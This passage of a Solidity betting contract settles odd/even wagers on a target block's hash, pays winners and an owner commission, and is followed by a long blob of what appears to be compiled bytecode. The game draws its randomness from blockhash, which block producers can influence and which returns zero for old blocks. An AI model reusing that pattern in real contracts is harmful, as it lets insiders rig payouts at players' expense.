betTillNowODD = betTillNowODD.add(participantBet);
} else {
betTillNowEVEN = betTillNowEVEN.add(participantBet);
}
Bet memory newBet = Bet({ODDBets : betTillNowODD, EVENBets: betTillNowEVEN, isRevenuePaid : false});
//save the bet
participants[msg.sender].bets[_targetBlock] = newBet;
// save the bet for the block
oddAndEvenBets[_targetBlock][oddOrEven] = oddAndEvenBets[_targetBlock][oddOrEven].add(msg.value);
address(moneyManager).transfer(msg.value);
emit LogBet(msg.sender, _targetBlock, oddOrEven, msg.value);
return true;
}
/** @dev Function which calculates the revenue for block.
* @param _blockNumber The block for which the revenie will be calculated.
*/
function calculateRevenueAtBlock(uint256 _blockNumber) public afterBlock(_blockNumber) {
require(isBlockRevenueCalculated[_blockNumber] == false);
if(oddAndEvenBets[_blockNumber][ODD] > 0 || oddAndEvenBets[_blockNumber][EVEN] > 0) {
blockResult[_blockNumber] = getBlockHashOddOrEven(_blockNumber);
require(blockResult[_blockNumber] == ODD || blockResult[_blockNumber] == EVEN);
if (blockResult[_blockNumber] == ODD) {
calculateRevenue(_blockNumber, ODD, EVEN);
} else if (blockResult[_blockNumber] == EVEN) {
calculateRevenue(_blockNumber, EVEN, ODD);
}
} else {
isBlockRevenueCalculated[_blockNumber] = true;
blockResult[_blockNumber] = noBets;
}
}
event LogOddOrEven(uint256 blockNumber, bytes32 blockHash, uint256 oddOrEven);
/** @dev Function which calculates the hash of the given block.
* @param _blockNumber The block for which the hash will be calculated.
* The function is called by the calculateRevenueAtBlock()
* @return oddOrEven
*/
function getBlockHashOddOrEven(uint256 _blockNumber) internal returns (uint8 oddOrEven) {
blockHash[_blockNumber] = blockhash(_blockNumber);
uint256 result = uint256(blockHash[_blockNumber]);
uint256 lastChar = (result * 2 ** 252) / (2 ** 252);
uint256 _oddOrEven = lastChar % 2;
emit LogOddOrEven(_blockNumber, blockHash[_blockNumber], _oddOrEven);
if (_oddOrEven == 1) {
return ODD;
} else if (_oddOrEven == 0) {
return EVEN;
}
}
event LogRevenue(uint256 blockNumber, uint256 winner, uint256 revenue);
/** @dev Function which calculates the revenue of given block.
* @param _blockNumber The block for which the revenue will be calculated.
* @param winner The winner bet (1 - odd or 2 - even).
* @param loser The loser bet (2 even or 1 - odd).
* The function is called by the calculateRevenueAtBlock()
*/
function calculateRevenue(uint256 _blockNumber, uint256 winner, uint256 loser) internal {
uint256 revenue = oddAndEvenBets[_blockNumber][loser];
if (oddAndEvenBets[_blockNumber][ODD] != 0 && oddAndEvenBets[_blockNumber][EVEN] != 0) {
uint256 comission = (revenue.div(100)).mul(COMMISSION_PERCENTAGE);
revenue = revenue.sub(comission);
comissionsAtBlock[_blockNumber] = comission;
IMoneyManager(moneyManager).payTo(ownerWallet, comission);
uint256 winners = oddAndEvenBets[_blockNumber][winner].div(BET);
blockRevenuePerTicket[_blockNumber] = revenue.div(winners);
}
isBlockRevenueCalculated[_blockNumber] = true;
emit LogRevenue(_blockNumber, winner, revenue);
}
event LogpayToRevenue(address indexed participant, uint256 blockNumber, bool revenuePaid);
/** @dev Function which allows the participants to withdraw their revenue.
* @param _blockNumber The block for which the participants will withdraw their revenue.
* @return _success Is the revenue withdrawn successfully.
*/
function withdrawRevenue(uint256 _blockNumber) public returns (bool _success) {
require(participants[msg.sender].bets[_blockNumber].ODDBets > 0 || participants[msg.sender].bets[_blockNumber].EVENBets > 0);
require(participants[msg.sender].bets[_blockNumber].isRevenuePaid == false);
require(isBlockRevenueCalculated[_blockNumber] == true);
if (oddAndEvenBets[_blockNumber][ODD] == 0 || oddAndEvenBets[_blockNumber][EVEN] == 0) {
if(participants[msg.sender].bets[_blockNumber].ODDBets > 0) {
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].ODDBets);
}else{
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].EVENBets);
}
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
// @dev - initial revenue to be paid
uint256 _revenue = 0;
uint256 counter = 0;
uint256 totalPayment = 0;
if (blockResult[_blockNumber] == ODD) {
counter = (participants[msg.sender].bets[_blockNumber].ODDBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
} else if (blockResult[_blockNumber] == EVEN) {
counter = (participants[msg.sender].bets[_blockNumber].EVENBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
}
totalPayment = _revenue.add(BET.mul(counter));
// pay the revenue
IMoneyManager(moneyManager).payTo(msg.sender, totalPayment);
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
/** @dev Function which set the activator of the cycle.
* Only owner can call the function.
*/
function setActivator(address _newActivator) onlyOwner public returns(bool) {
require(activator[_newActivator] == false);
activator[_newActivator] = true;
return activator[_newActivator];
}
/** @dev Function which remove the activator.
* Only owner can call the function.
*/
function removeActivator(address _Activator) onlyOwner public returns(bool) {
require(activator[_Activator] == true);
activator[_Activator] = false;
return true;
}
/** @dev Function which set the owner of the wallet.
* Only owner can call the function.
* Called when the contract is deploying.
*/
function setOwnerWallet(address _newOwnerWallet) public onlyOwner {
emit LogNew(ownerWallet, _newOwnerWallet);
ownerWallet = _newOwnerWallet;
}
/** @dev Function which set the money manager.
* Only owner can call the function.
* Called when contract is deploying.
*/
function setMoneyManager(address _moneyManager) public onlyOwner {
emit LogNew(moneyManager, _moneyManager);
moneyManager = _moneyManager;
}
function getActivator(address _isActivator) public view returns(bool) {
return activator[_isActivator];
}
/** @dev Function for getting the current block.
* @return _blockNumber
*/
function getblock() public view returns (uint256 _blockNumber){
return block.number;
}
/** @dev Function for getting the current cycle info
* @return startBetBlock, endBetBlock, targetBlock
*/
function getCycleInfo() public view returns (uint256 startBetBlock, uint256 endBetBlock, uint256 targetBlock){
return (
_startBetBlock,
_endBetBlock,
_targetBlock);
}
/** @dev Function for getting the given block hash
* @param _blockNumber The block number of which you want to check hash.
* @return _blockHash
*/
function getBlockHash(uint256 _blockNumber) public view returns (bytes32 _blockHash) {
return blockHash[_blockNumber];
}
/** @dev Function for getting the bets for ODD and EVEN.
* @param _participant The address of the participant whose bets you want to check.
* @param _blockNumber The block for which you want to check.
* @return _oddBets, _evenBets
*/
function getBetAt(address _participant, uint256 _blockNumber) public view returns (uint256 _oddBets, uint256 _evenBets){
return (participants[_participant].bets[_blockNumber].ODDBets, participants[_participant].bets[_blockNumber].EVENBets);
}
/** @dev Function for getting the block result if it is ODD or EVEN.
* @param _blockNumber The block for which you want to get the result.
* @return _oddOrEven
*/
function getBlockResult(uint256 _blockNumber) public view returns (uint256 _oddOrEven){
return blockResult[_blockNumber];
}
/** @dev Function for getting the wei amount for given block.
* @param _blockNumber The block for which you want to get wei amount.
* @param _blockOddOrEven The block which is odd or even.
* @return _weiAmountAtStage
*/
function getoddAndEvenBets(uint256 _blockNumber, uint256 _blockOddOrEven) public view returns (uint256 _weiAmountAtStage) {
return oddAndEvenBets[_blockNumber][_blockOddOrEven];
}
/** @dev Function for checking if the given address participated in given block.
* @param _participant The participant whose participation we are going to check.
* @param _blockNumber The block for which we will check the participation.
* @return _isParticipate
*/
function getIsParticipate(address _participant, uint256 _blockNumber) public view returns (bool _isParticipate) {
return (participants[_participant].bets[_blockNumber].ODDBets > 0 || participants[_participant].bets[_blockNumber].EVENBets > 0);
}
/** @dev Function for getting the block revenue per ticket.
* @param _blockNumber The block for which we will calculate revenue per ticket.
* @return _revenue
*/
function getblockRevenuePerTicket(uint256 _blockNumber) public view returns (uint256 _revenue) {
return blockRevenuePerTicket[_blockNumber];
}
/** @dev Function which tells us is the revenue for given block is calculated.
* @param _blockNumber The block for which we will check.
* @return _isCalculated
*/
function getIsBlockRevenueCalculated(uint256 _blockNumber) public view returns (bool _isCalculated) {
return isBlockRevenueCalculated[_blockNumber];
}
/** @dev Function which tells us is the revenue for given block is paid.
* @param _blockNumber The block for which we will check.
* @return _isPaid
*/
function getIsRevenuePaid(address _participant, uint256 _blockNumber) public view returns (bool _isPaid) {
return participants[_participant].bets[_blockNumber].isRevenuePaid;
}
/** @dev Function which will return the block commission.
* @param _blockNumber The block for which we will get the commission.
* @return _comission
*/
function getBlockComission(uint256 _blockNumber) public view returns (uint256 _comission) {
return comissionsAtBlock[_blockNumber];
}
/** @dev Function which will return the ODD and EVEN bets.
* @param _blockNumber The block for which we will get the commission.
* @return _ODDBets, _EVENBets
*/
function getBetsEvenAndODD(uint256 _blockNumber) public view returns (uint256 _ODDBets, uint256 _EVENBets) {
return (oddAndEvenBets[_blockNumber][ODD], oddAndEvenBets[_blockNumber][EVEN]);
}
/** @dev Function which will return the count of target blocks.
* @return _targetBlockLenght
*/
function getTargetBlockLength() public view returns (uint256 _targetBlockLenght) {
return targetBlocks.length;
}
/** @dev Function which will return the whole target blocks.
* @return _targetBlocks Array of target blocks
*/
function getTargetBlocks() public view returns (uint256[] _targetBlocks) {
return targetBlocks;
}
/** @dev Function which will return a specific target block at index.
* @param _index The index of the target block which we want to get.
* @return _targetBlockNumber
*/
function getTargetBlock(uint256 _index) public view returns (uint256 _targetBlockNumber) {
return targetBlocks[_index];
}
}
|
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301ddc95e1461021f578063082a7e601461024a57806309e69ede1461027b5780630ceff204146102d657806312919d901461031b5780631bf1de9b1461035e5780632f45aa2114610389578063309ab7e1146103ca57806338b903331461042f57806344030e711461045a57806348700c7c1461049f578063511e2613146104d057806351b72a9a1461051b5780635c61f9b414610576578063724a8487146105b757806379bd42cf146106235780637a83e89e1461064e5780637bf0cd0d146106795780637c0cc0be146106ba5780637c69538414610715578063873dc71d1461075a5780638da5cb5b146107935780639335dcb7146107ea5780639729f9b914610841578063a4c8b35d14610882578063b1b5537c146108d9578063b78d32cd1461091e578063bb542ef014610949578063c613089f1461098c578063c64a2358146109d4578063c6abc298146109ff578063cedc01ae14610a67578063d23f1bba14610ac2578063d86b372114610af3578063e2f3603414610b1e578063ee82ac5e14610b4b578063f2fde38b14610b94578063f514e92c14610bd7578063fa6fcc5014610c02578063ff73d2d814610c2d575b61021c6101fd60804303610c92565b610217662386f26fc1000034610d9d90919063ffffffff16565b610db8565b50005b34801561022b57600080fd5b5061023461124a565b6040518082815260200191505060405180910390f35b34801561025657600080fd5b5061025f611257565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028757600080fd5b506102bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125c565b604051808215151515815260200191505060405180910390f35b3480156102e257600080fd5b5061030160048036038101908080359060200190929190505050611287565b604051808215151515815260200191505060405180910390f35b34801561032757600080fd5b5061035c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7d565b005b34801561036a57600080fd5b50610373611e98565b6040518082815260200191505060405180910390f35b34801561039557600080fd5b506103b460048036038101908080359060200190929190505050611e9d565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b50610415600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611eba565b604051808215151515815260200191505060405180910390f35b34801561043b57600080fd5b50610444611f7e565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b5061048560048036038101908080359060200190929190505050611f87565b604051808215151515815260200191505060405180910390f35b3480156104ab57600080fd5b506104b4611fb1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104dc57600080fd5b506105056004803603810190808035906020019092919080359060200190929190505050611fb6565b6040518082815260200191505060405180910390f35b34801561052757600080fd5b5061055c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fe5565b604051808215151515815260200191505060405180910390f35b34801561058257600080fd5b506105a160048036038101908080359060200190929190505050612102565b6040518082815260200191505060405180910390f35b3480156105c357600080fd5b506105cc61211f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561060f5780820151818401526020810190506105f4565b505050509050019250505060405180910390f35b34801561062f57600080fd5b50610638612177565b6040518082815260200191505060405180910390f35b34801561065a57600080fd5b5061066361217d565b6040518082815260200191505060405180910390f35b34801561068557600080fd5b506106a460048036038101908080359060200190929190505050612183565b6040518082815260200191505060405180910390f35b3480156106c657600080fd5b506106fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121a6565b604051808215151515815260200191505060405180910390f35b610740600480360381019080803560ff16906020019092919080359060200190929190505050610db8565b604051808215151515815260200191505060405180910390f35b34801561076657600080fd5b5061076f61230e565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561079f57600080fd5b506107a8612327565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f657600080fd5b506107ff61234c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084d57600080fd5b5061086c60048036038101908080359060200190929190505050612372565b6040518082815260200191505060405180910390f35b34801561088e57600080fd5b5061089761238f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e557600080fd5b50610904600480360381019080803590602001909291905050506123b5565b604051808215151515815260200191505060405180910390f35b34801561092a57600080fd5b506109336124ae565b6040518082815260200191505060405180910390f35b34801561095557600080fd5b5061098a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b9565b005b34801561099857600080fd5b506109b7600480360381019080803590602001909291905050506125d4565b604051808381526020018281526020019250505060405180910390f35b3480156109e057600080fd5b506109e9612632565b6040518082815260200191505060405180910390f35b348015610a0b57600080fd5b50610a4a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612638565b604051808381526020018281526020019250505060405180910390f35b348015610a7357600080fd5b50610aa8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f4565b604051808215151515815260200191505060405180910390f35b348015610ace57600080fd5b50610ad761274a565b604051808260ff1660ff16815260200191505060405180910390f35b348015610aff57600080fd5b50610b0861274f565b6040518082815260200191505060405180910390f35b348015610b2a57600080fd5b50610b4960048036038101908080359060200190929190505050612757565b005b348015610b5757600080fd5b50610b7660048036038101908080359060200190929190505050612924565b60405180826000191660001916815260200191505060405180910390f35b348015610ba057600080fd5b50610bd5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612941565b005b348015610be357600080fd5b50610bec612a5a565b6040518082815260200191505060405180910390f35b348015610c0e57600080fd5b50610c17612a60565b6040518082815260200191505060405180910390f35b348015610c3957600080fd5b50610c78600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a66565b604051808215151515815260200191505060405180910390f35b600080600080844060086000878152602001908152602001600020816000191690555060086000868152602001908152602001600020546001900492507f1000000000000000000000000000000000000000000000000000000000000000808402811515610cfc57fe5b049150600282811515610d0b57fe5b0690507fea65d7d1294b8f29d9724c04730ecaf729e243e77f4178f85a073ea5e792949d85600860008881526020019081526020016000205483604051808481526020018360001916600019168152602001828152602001935050505060405180910390a16001811415610d825760019350610d95565b6000811415610d945760029350610d95565b5b505050919050565b6000808284811515610dab57fe5b0490508091505092915050565b600080610dc3612e38565b600080610dce612e4e565b600087111515610ddd57600080fd5b610df7662386f26fc1000088612ad490919063ffffffff16565b94508434141515610e0757600080fd5b600160ff168860ff161480610e225750600260ff168860ff16145b1515610e2d57600080fd5b600d544311158015610e415750600c544310155b1515610e4c57600080fd5b60001515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1615151415610f6057600184600001901515908115158152505083600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160010160006101000a81548160ff0219169083151502179055509050503373ffffffffffffffffffffffffffffffffffffffff167ffc2337b65c8ac139841545e30c6715f55a27b7bff39e9d0a7a9aad3f3a916ad760405160405180910390a25b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600001549250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600101549150600160ff168860ff16141561103f576110388584612b0f90919063ffffffff16565b9250611055565b6110528583612b0f90919063ffffffff16565b91505b60606040519081016040528084815260200183815260200160001515815250905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505061113f3460066000600e54815260200190815260200160002060008b60ff16815260200190815260200160002054612b0f90919063ffffffff16565b60066000600e54815260200190815260200160002060008a60ff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156111d4573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167ff4cc3dc933facef3bd48175494dde6ac95ab406b4d472453f8910dc1cab242d3600e548a34604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a260019550505050505092915050565b6000600480549050905090565b600181565b60056020528060005260406000206000915090508060010160009054906101000a900460ff16905081565b6000806000806000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060000154118061134857506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060010154115b151561135357600080fd5b60001515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160009054906101000a900460ff1615151415156113c957600080fd5b60011515600a600087815260200190815260200160002060009054906101000a900460ff1615151415156113fc57600080fd5b6000600660008781526020019081526020016000206000600160ff16815260200190815260200160002054148061145b57506000600660008781526020019081526020016000206000600260ff16815260200190815260200160002054145b1561190a576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060000154111561161b57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000898152602001908152602001600020600001546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115da57600080fd5b505af11580156115ee573d6000803e3d6000fd5b505050506040513d602081101561160457600080fd5b810190808051906020019092919050505050611773565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000898152602001908152602001600020600101546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561173657600080fd5b505af115801561174a573d6000803e3d6000fd5b505050506040513d602081101561176057600080fd5b8101908080519060200190929190505050505b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fe87b99f97f46b8b8866a1811f61e9756e69a2f341d0d0da1c3f8f7dd0958881d86600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600089815260200190815260200160002060020160009054906101000a900460ff1660405180838152602001821515151581526020019250505060405180910390a2600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600086815260200190815260200160002060020160009054906101000a900460ff169350611d75565b600092506000915060009050600160ff16600760008781526020019081526020016000205414156119e6576119a5662386f26fc10000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600088815260200190815260200160002060000154610d9d90919063ffffffff16565b91506119df6119d0836009600089815260200190815260200160002054612ad490919063ffffffff16565b84612b0f90919063ffffffff16565b9250611ab3565b600260ff1660076000878152602001908152602001600020541415611ab257611a75662386f26fc10000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600088815260200190815260200160002060010154610d9d90919063ffffffff16565b9150611aaf611aa0836009600089815260200190815260200160002054612ad490919063ffffffff16565b84612b0f90919063ffffffff16565b92505b5b611adf611ad083662386f26fc10000612ad490919063ffffffff16565b84612b0f90919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ba657600080fd5b505af1158015611bba573d6000803e3d6000fd5b505050506040513d6020811015611bd057600080fd5b8101908080519060200190929190505050506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fe87b99f97f46b8b8866a1811f61e9756e69a2f341d0d0da1c3f8f7dd0958881d86600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600089815260200190815260200160002060020160009054906101000a900460ff1660405180838152602001821515151581526020019250505060405180910390a2600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600086815260200190815260200160002060020160009054906101000a900460ff1693505b505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a81565b600060096000838152602001908152602001600020549050919050565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000848152602001908152602001600020600001541180611f7657506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002060010154115b905092915050565b642efc88ace081565b6000600a600083815260200190815260200160002060009054906101000a900460ff169050919050565b600281565b600060066000848152602001908152602001600020600083815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204257600080fd5b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156120a157600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600060076000838152602001908152602001600020549050919050565b6060600480548060200260200160405190810160405280929190818152602001828054801561216d57602002820191906000526020600020905b815481526020019060010190808311612159575b5050505050905090565b61159081565b600d5481565b600060048281548110151561219457fe5b90600052602060002001549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561220357600080fd5b60001515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561226257600080fd5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000600c54600d54600e54925092509250909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000838152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003360011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561241757600080fd5b6000831415612424574392505b600d54431015151561243557600080fd5b82600c81905550612453611590600c54612b0f90919063ffffffff16565b600d81905550612470611680600c54612b0f90919063ffffffff16565b600e819055506004600e5490806001815401808255809150509060018203906000526020600020016000909192909190915055506001915050919050565b662386f26fc1000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660008481526020019081526020016000206000600160ff16815260200190815260200160002054600660008581526020019081526020016000206000600260ff1681526020019081526020016000205491509150915091565b600e5481565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002060000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600085815260200190815260200160002060010154915091509250929050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600381565b600043905090565b8080431015151561276757600080fd5b60001515600a600084815260200190815260200160002060009054906101000a900460ff16151514151561279a57600080fd5b6000600660008481526020019081526020016000206000600160ff1681526020019081526020016000205411806127f957506000600660008481526020019081526020016000206000600260ff16815260200190815260200160002054115b156128d75761280782610c92565b60ff166007600084815260200190815260200160002081905550600160ff166007600084815260200190815260200160002054148061285c5750600260ff166007600084815260200190815260200160002054145b151561286757600080fd5b600160ff166007600084815260200190815260200160002054141561289e5761289982600160ff16600260ff16612b2d565b6128d2565b600260ff16600760008481526020019081526020016000205414156128d1576128d082600260ff16600160ff16612b2d565b5b5b612920565b6001600a600084815260200190815260200160002060006101000a81548160ff021916908315150217905550600360ff1660076000848152602001908152602001600020819055505b5050565b600060086000838152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561299c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61168081565b600c5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060020160009054906101000a900460ff16905092915050565b6000806000841415612ae95760009150612b08565b8284029050828482811515612afa57fe5b04141515612b0457fe5b8091505b5092915050565b6000808284019050838110151515612b2357fe5b8091505092915050565b60008060006006600087815260200190815260200160002060008581526020019081526020016000205492506000600660008881526020019081526020016000206000600160ff1681526020019081526020016000205414158015612bbb57506000600660008881526020019081526020016000206000600260ff1681526020019081526020016000205414155b15612da457612be7600a612bd9606486610d9d90919063ffffffff16565b612ad490919063ffffffff16565b9150612bfc8284612e1f90919063ffffffff16565b925081600b600088815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf08621600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612cfd57600080fd5b505af1158015612d11573d6000803e3d6000fd5b505050506040513d6020811015612d2757600080fd5b810190808051906020019092919050505050612d77662386f26fc1000060066000898152602001908152602001600020600088815260200190815260200160002054610d9d90919063ffffffff16565b9050612d8c8184610d9d90919063ffffffff1656